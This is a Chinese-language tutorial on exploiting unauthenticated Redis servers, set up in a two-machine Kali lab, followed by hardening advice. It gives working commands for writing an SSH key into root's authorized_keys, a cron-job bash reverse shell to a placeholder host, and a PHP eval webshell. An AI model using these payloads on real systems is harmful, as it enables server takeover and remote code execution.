Redis未授权漏洞检测方法+Redis基础+Redis环境搭建+Redis恶意利用

  • 前言
  • 一、Redis命令基础
  • 二、Redis漏洞未授权挖掘
  • 二、Redis环境搭建与概述
  • 1)环境概述
  • 2)环境搭建
  • 三、漏洞利用
  • 1)未授权漏洞利用说明
  • 2)root权限漏洞利用
  • 1、创建ssh公匙
  • 2、创建一个O8.txt密匙
  • 3、清除Redis所有数据
  • 4、 Redis创建恶意key
  • 5、修改Redis路径
  • 6、攻击机写入
  • 3)20200927新增定时任务反弹shell
  • 4)低权限漏洞利用
  • 四、漏洞加固
  • 参考文献


前言

Redis是一个开源的使用ANSIC语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。
文章只作为信息爱好者复现并加固漏洞,切勿做非法攻击,产生一切后果与本作者无关!

一、Redis命令基础

登录Redis:./redis-cli -h 127.0.0.1
查看Redis版本信息:./redis-cli -h 127.0.0.1 info | grep 'redis_version'

telnet端口redis之后怎么测试_Redis安全加固

添加键:set O8 shuaibi
查看键值:get O8
查看有多少数据:DBSIZE
清除所有键:FLUSHALL
设置路径:CONFIG set dir /home
查看路径::CONFIG GET dir

telnet端口redis之后怎么测试_Redis安全加固_02


telnet端口redis之后怎么测试_Redis环境搭建_03

二、Redis漏洞未授权挖掘

Redis是Key-Value数据库,当存在未授权访问时,如果是以root权限运行Redis可以直接拿下目标服务器控制权限,如果是低权限且知道网站运行路径时可以getshell。

Redis默认运行端口是6379。
检测是否有未授权访问:telnet 目标IP 6379

出现这一堆说明不存在未授权漏洞

telnet端口redis之后怎么测试_Redis环境搭建_04


出现这种,尝试下是否解析字符串

telnet端口redis之后怎么测试_未授权访问测试_05


先随便输入点啥回车

然后输入echo "O8???"回车

telnet端口redis之后怎么测试_未授权访问测试_06


发现被解析了,这个时候已经确定有redis未授权访问漏洞了,那么我们继续深入。

输入quit退出

telnet端口redis之后怎么测试_Redis安全加固_07

二、Redis环境搭建与概述

1)环境概述

被攻击服务器

操作系统:kali 
运行组件:redis4.0服务
ip地址:192.168.29.129

攻击机

操作系统:kali 
运行组件:redis4.0客户端
ip地址:192.168.29.130

2)环境搭建

说明:被攻击服务器需要搭建redis服务,攻击机由于需要连接redis,所以也要安装redis

cd /
wget download.redis.io/releases/redis-4.0.11.tar.gz
tar zxf redis-4.0.11.tar.gz
cd redis-4.0.11
make PREFIX=/usr/local/redis install

telnet端口redis之后怎么测试_未授权访问测试_08


检查安装是否有问题

make test

如果报错了:

yum -y install tcl

将源码中redis.conf拷贝到/usr/local/redis目录

cp /redis-4.0.11/redis.conf /usr/local/redis

修改redis.conf中“daemonize no”为“daemonize yes”,表示redis以后台的方式启动

cd /usr/local/redis
vi redis.conf
修改 “daemonize no”为“daemonize yes”
被攻击服务器需要多修改这两个:
修改 “bind 127.0.0.1”为“#bind 127.0.0.1”
修改 “protected-mode yes”为“protected-mode no”

服务器后台启动

/usr/local/redis/bin/redis-server /usr/local/redis/redis.conf

查看进程

ps -ef| grep redis

测试:

/usr/local/redis/bin/redis-cli

telnet端口redis之后怎么测试_telnet端口redis之后怎么测试_09


记得两台机器都要装一遍。

三、漏洞利用

1)未授权漏洞利用说明

root权限:可以直接写入ssh公匙进行接管服务器。
低权限:网站运行web服务且知道绝对路径可以getshell。
192.168.29.129开启Redis服务:

/usr/local/redis/bin/redis-server /usr/local/redis/redis.conf

2)root权限漏洞利用

攻击机:192.168.29.130

1、创建ssh公匙
ssh-keygen -t rsa -C "aaa@163.com"

telnet端口redis之后怎么测试_Redis环境搭建_10


需要把这个公钥复制到目标机器

2、创建一个O8.txt密匙
cd /root/.ssh
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > O8.txt

telnet端口redis之后怎么测试_telnet端口redis之后怎么测试_11

3、清除Redis所有数据
root@solitary:/redis-4.0.11/src# cd /redis-4.0.11/src/
root@solitary:/redis-4.0.11/src# ./redis-cli -h 192.168.29.129 flushall
OK
4、 Redis创建恶意key
root@solitary:/redis-4.0.11/src# cat /root/.ssh/O8.txt | ./redis-cli -h 192.168.29.129 -x set O8
OK
查看创建的key的键内容:
root@solitary:/redis-4.0.11/src# ./redis-cli -h 192.168.29.129
192.168.29.129:6379> GET O8

telnet端口redis之后怎么测试_telnet端口redis之后怎么测试_12

telnet端口redis之后怎么测试_Redis漏洞利用_13

5、修改Redis路径
192.168.29.129:6379> CONFIG SET dir /root/.ssh/
OK
192.168.29.129:6379> CONFIG SET dir /usr/local/redis
OK
192.168.29.129:6379> CONFIG GET dir
1) "dir"
2) "/usr/local/redis"
192.168.29.129:6379> CONFIG SET dir /root/.ssh/
OK
192.168.29.129:6379> CONFIG GET dir
1) "dir"
2) "/root/.ssh"

telnet端口redis之后怎么测试_未授权访问测试_14


如果报(error) ERR Changing directory: No such file or directory错误

telnet端口redis之后怎么测试_Redis漏洞利用_15


需要在Redis服务器192.168.29.129的root目录下创建.ssh目录

root@kali:~# cd /root
root@kali:~# mkdir .ssh
6、攻击机写入
192.168.29.129:6379> config set dbfilename "authorized_keys"
OK
192.168.29.129:6379> save
OK

telnet端口redis之后怎么测试_未授权访问测试_16


尝试登录被攻击服务器

root@solitary:~# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.29.130  netmask 255.255.255.0  broadcast 192.168.29.255
        inet6 fe80::20c:29ff:fe8a:7070  prefixlen 64  scopeid 0x20<link>
        ether 00:0c:29:8a:70:70  txqueuelen 1000  (Ethernet)
        RX packets 36077  bytes 33249632 (31.7 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 10859  bytes 873271 (852.8 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
尝试登录:
root@solitary:~# ssh -i /root/.ssh/id_rsa root@192.168.29.129
Linux kali 4.17.0-kali1-amd64 #1 SMP Debian 4.17.8-1kali1 (2018-07-24) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Aug 23 16:37:54 2019 from 192.168.29.129
root@kali:~# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.29.129  netmask 255.255.255.0  broadcast 192.168.29.255
        inet6 fe80::250:56ff:fe38:3822  prefixlen 64  scopeid 0x20<link>
        ether 00:50:56:38:38:22  txqueuelen 1000  (Ethernet)
        RX packets 5744  bytes 2165519 (2.0 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 2797  bytes 257430 (251.3 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
        device interrupt 19  base 0x2000

telnet端口redis之后怎么测试_Redis环境搭建_17


查看Redis服务器192.168.29.129被写入的公匙

root@kali:/home# cd /root/.ssh/
root@kali:~/.ssh# cat authorized_keys

telnet端口redis之后怎么测试_Redis漏洞利用_18


如果提示连接端口未开启或者连接拒绝,需要在被攻击服务器上开启ssh服务

修改sshd_config:

vi /etc/ssh/sshd_config
将"#PasswordAuthentication no"修改为"PasswordAuthentication YES"	//默认YES
将"#Port 22"修改"Port 22"
将"#PermitRootLogin yes"修改"PermitRootLogin yes"
保存后启动服务:
service ssh start

3)20200927新增定时任务反弹shell

[root@security-log ~]# redis-cli -h IP -a passwd
IP:6379> get key
(*****)
IP:6379> config set dir /var/spool/cron
OK
IP:6379> set -.- "\n\n\n* * * * * bash -i >& /dev/tcp/ip/port 0>&1\n\n\n"
OK
IP:6379> config set dbfilename root
OK
IP:6379> save

监听:

[root@security-log ~]# nc -lvnp 8787

4)低权限漏洞利用

当 redis 权限不高时,并且服务器开着 web 服务,在 redis 有 web 目录写权限时,可以尝试往 web 路径写 webshell。

root@solitary:/redis-4.0.11/src# ./redis-cli -h 192.168.29.129 flushall
OK
root@solitary:/redis-4.0.11/src# ./redis-cli -h 192.168.29.129
192.168.29.129:6379> config set dir /var/www/html/
OK
192.168.29.129:6379> config set dbfilename shell.php
OK
192.168.29.129:6379> set x "<?php @eval($_POST['O8']);?>"
OK
192.168.29.129:6379> save
OK

telnet端口redis之后怎么测试_telnet端口redis之后怎么测试_19


192.168.29.129上查看shell

root@kali:/var/www/html# ls
index.html  index.nginx-debian.html  O8.php  shell.php
root@kali:/var/www/html# cat shell.php

telnet端口redis之后怎么测试_未授权访问测试_20

四、漏洞加固

1.修改bind参数,将服务器绑定到127.0.0.1上;
2.修改port参数,监听端口改成其他端口号;
3.修改requirepass参数,设置一个复杂的密码;
4.通过rename-command修改config命令的名字,如修改为空字符串""表示禁用config命令;
5.不要以root用户启动redis-server进程。
6.ssh等服务尽量不要对外开放